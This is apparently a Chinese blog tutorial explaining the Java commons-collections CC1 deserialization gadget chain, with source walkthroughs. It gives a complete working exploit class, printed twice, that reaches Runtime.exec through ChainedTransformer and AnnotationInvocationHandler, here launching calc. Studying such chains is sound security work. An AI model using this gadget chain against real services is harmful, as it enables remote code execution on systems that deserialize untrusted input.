CC1- Java反序列化commons-collections漏洞

CC1

在java的学习中CC1链是最重要的一条链子,也是必须先学的一条链子。我这个菜狗也是花了一下午时间才搞懂这个CC1链,想要学会这个CC1链的可以看这个视频Java反序列化CommonsCollections篇(一) CC1链手写EXP,讲的非常的详细易懂。我在这里只是做比较简单的记录

环境配置

首先关于环境配置,这里需要的环境是:

  • jdk8u65(同时需要手动加入sun包的源码)
  • Maven(任意较新的版本)
  • commons-collections 3.2.1

其他的版本可能会因为缺少依赖或者漏洞被修复而无法复现

安装方法在上述视频中已经描述的很详细,大家可以看一下

正题

先来看看EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    // CC1 exploit chain
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {

        // This array is equivalent to
        //
        // Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //
        //Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");

        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);

        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");

    }

    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

倒推

首先采用倒推来发现思路

发现漏洞点-InvokerTransformer.transform

org.apache.commons.collections.functors.InvokerTransformer类里面有一个transform方法,该方法源码如下

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
          // 这一部分出现了任意代码执行的漏洞,写法非常类似一个后门

                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

想办法调用漏洞点-TransformedMap.checkSetValue

为了执行这个漏洞点,我们就必须要找到一个调用transform的方法

经过查询,我们发现TransformedMap.checkSetValue会调用transform

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

我们只要让valueTransformer成为InvokerTransformer对象即可,在同类下有这么两个方法

    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);  // avoids double transformation
        }
        return decorated;
    }
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

这两个方法配合就可以给valueTransformer赋值

其中decorateTransform用来修饰Map对象

寻找TransformedMap.checkSetValue的调用点-AbstractInputCheckedMapDecorator.MapEntry#setValue

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

setValue方法调用了checkSetValue方法,

而这里的setValue实际是重写的Map.Entry#setValue

    interface Entry<K,V> {
       
        K getKey();
       
        V getValue();
      
        V setValue(V value);
        
        boolean equals(Object o);
       
        int hashCode();
  
        public static <K extends Comparable<? super K>, V> Comparator<Map.Entry<K,V>> comparingByKey() {
				......
        }

        public static <K, V extends Comparable<? super V>> Comparator<Map.Entry<K,V>> comparingByValue() {
        		......
        }

        public static <K, V> Comparator<Map.Entry<K, V>> comparingByKey(Comparator<? super K> cmp) {
				......
        }


        public static <K, V> Comparator<Map.Entry<K, V>> comparingByValue(Comparator<? super V> cmp) {
        		......
        }

Entry是一个接口,被AbstractInputCheckedMapDecorator.MapEntry重写

所以只要执行一个被decorateTransform修饰的Map对象的setValue方法就可以触发AbstractInputCheckedMapDecorator.MapEntry#setValue

寻找setValue利用点-sun.reflect.annotation.AnnotationInvocationHandler#readObject

因为我们最终的目的就是让readObject方法去调用,所以我们尝试直接找找谁的readObject在调用setValue

经过漫长的寻找,我们找到了sun包下有一个readObject调用了setValue

即:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(    // 利用点
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

这个方法会从memberValues中逐个取出键值对, 并使用键名获取memberTypes中的成员, 并判断这个成员是否为空, 然后将键值对对象中的值赋值给value, 并判断value 和memberType的一些关系, 然后就执行memberValue中的setValue(注意这里的参数我们无法控制)

这个方法里面有很多条件,我们后面再一一绕过

首要的是给memberValue赋值

可以使用构造方法给memberValue赋值

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

这个构造方法传了两个参数,第一个是一个类(泛型为继承Annotation,也就是注解),第二个参数是Map对象,传递参数给memberValues,可谓是刚刚好

解决不可序列化的Runtime对象

Runtime因为没有继承serialize接口, 所以不能被序列化

Runtime虽然不可序列化,但是他的class对象是可以序列化的

那么就可以利用Runtime.class反射调用exec方法

先大致写一个反射过程

        Class<Runtime> runtimeClass = Runtime.class;

        Class<? extends Class> aClass = runtimeClass.getClass();
        Method getMethod = aClass.getMethod("getMethod", new Class[]{String.class, Class[].class});
        Object getRuntimeObject = getMethod.invoke(runtimeClass, new Object[]{"getRuntime", null});

        Class<?> aClass1 = getRuntimeObject.getClass();
        Method invoke = aClass1.getMethod("invoke", new Class[]{Object.class, Object[].class});
        Object RuntimeObject = invoke.invoke(getRuntimeObject, new Object[]{null, null});

        Class<?> aClass2 = RuntimeObject.getClass();
        Method exec = aClass2.getMethod("exec", new Class[]{String.class});
        exec.invoke(RuntimeObject, new Object[]{"calc"});

在这个反射过程中,我们使用Runtime.class 获得了getMethod方法,再使用这个方法获取了Runtime对象,最后再反射获得Runtime的exec方法,然后执行我们想执行的命令calc

接着我们用InvokerTransformer类把他换一下

Object getMethodObject = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Object RuntimeObject = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethodObject);

 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(RuntimeObject);

但我们还面临了一个问题,我们该怎么同时去执行这三条语句

其实大佬已经给我们找好了, 就是ChainedTransformer

这个类里面有两个重要的方法

    // Constructor
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }


    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

其中第一个是构造方法,可以用来传一个transformer数组

第二个方法叫transform,是不是刚好可以调用呀, 来看看这个方法干的活: 便利执行iTransformers 中的transformer对象的transform方法, 并把返回值当作下一个循回的参数, 是不是刚刚好合适呀

那我们就这样构造

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

相比你一定会感到奇怪, 为什么还有new ConstantTransformer(Runtime.class)

因为在sun.reflect.annotation.AnnotationInvocationHandler#readObject里面, transform 的参数我们无法控制, 所以就需要利用ConstantTransformer对象先返回一个Runtime.class, 这样后面的语句才能得到他们应该得到的参数

然后这是ConstantTransformer的方法

public class ConstantTransformer implements Transformer, Serializable {


    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }


    public Object transform(Object input) {
        return iConstant;
    }

该类中的transform方法会直接返回构建函数的参数, 为下一循环提供Runtime.class需求

正推

readObject方法

现在我们已经大概知道了方向,现在开始正推理清思路

首先从readObject方法开始

因为这个方法是私有的,所以我们要用反射的方式去获得这个方法,并获取一个AnnotationInvocationHandler对象

        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);

其中传递了两个参数, 一个是注解的字节码对象, 另一个正如他的形参名,是一个被TransformedMap.decorate修饰的Map

那么我们先去构建这个transformedMap 对象吧

HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");

        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        // chainedTransformer 前面已经构建过了

接着是绕过readObject中的两个IF

首先第一个IF

memberType != null --> memberTypes.get(name) --> annotationType.memberTypes() --> AnnotationType.getInstance(type);

简而言之: memberType就是type的成员类型, 那么这里就对type(注解类)提出了要求, type必须是含有成员的才行

首先我们最容易想到的一个注解就是@Override

但是很可惜 @Override 没有成员

然后观察一下旁边的@Trget

@Target有成员

那就利用这个constructor.newInstance(Target.class, transformedMap);第一个参数传入Target.class

这样子就可以绕过第一个IF,然后看第二个IF

memberType.isInstance(value) 表示vaule能不能强转成memberType,显然不能

value instanceof ExceptionProxy 表示vaule是不是ExceptionProxy 这种类型,显然也不是,那么这个IF其实不用绕就过了

然后我们就成功执行了memberValue.setValue命令了,然后跳到setValue方法

setValue方法

这个方法中的parent是TransformedMap对象, 也就是我们构建的那个修饰过的Map

接着就调用transformedMap对象的checkSetValue方法

checkSetValue方法

这里的valueTransformerChainedTranformer, 也就是我们构建的那个transformer集合

这里调用了chainedTransformertransform方法

chaindTransformer.transform方法

开始循环执行我们的Transformer集合

循环:

  1.  执行new ConstantTransformer(Runtime.class), 返回Runtime.class
  2. 执行new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), 返回一个getMethod方法的对象
  3. 执行new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), 返回Runtime对象
  4. 执行new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), 成功执行exec方法, 参数为calc, 成功唤起计算器

InvokerTransformer.transform方法

这个方法上面已经讲过了,这里再重复一下

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

这个方法会反射获得传入参数(input)的字节码对象,然后用字节码对象反射获得一个iMethodName所指的方法, 并执行这个方法

InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}.transform(Runtime.getRuntime())里实际执行的代码如下

Class cls = Runtime.getRuntime().getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(Runtime.getRuntime(), "calc");

构造EXP

整个流程已经分析完了, 现在我们开始把之前写的代码进行整合, 构造出一条完整的EXP来

首先构造一个Transformer集合

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

接着new一个Map对象, 并进行修饰

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");

        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

然后反射获得sun.reflect.annotation.AnnotationInvocationHandler 的 readObject方法, 并实例化一个对象

        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);

然后些一个序列化和反序列化的方法, 并调用一下

        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");

    }

    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }

然后我们合并一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    // CC1 exploit chain
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {

        // This array is equivalent to
        //
        // Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //
        //Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");

        // Decorate the Map object
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        // Reflection obtains AnnotationInvocationHandler object
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedMap);

        // Serialize and deserialize
        serialize(o);
        unserialize("ser.bin");

    }

    // The purpose of this function is to serialize obj objects.
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    // The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

这就是我们的EXP了, 是不是现在感觉也挺简单的

Java的反序列差不多就是这个原理, 懂了这一个链子, 对其他的链子了解的也差不多了

结束

CC1 链也就这些东西, Just So

评论

  1. Fucker
    Windows
    9 月前
    2023-9-25 21:48:28

    Hi!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇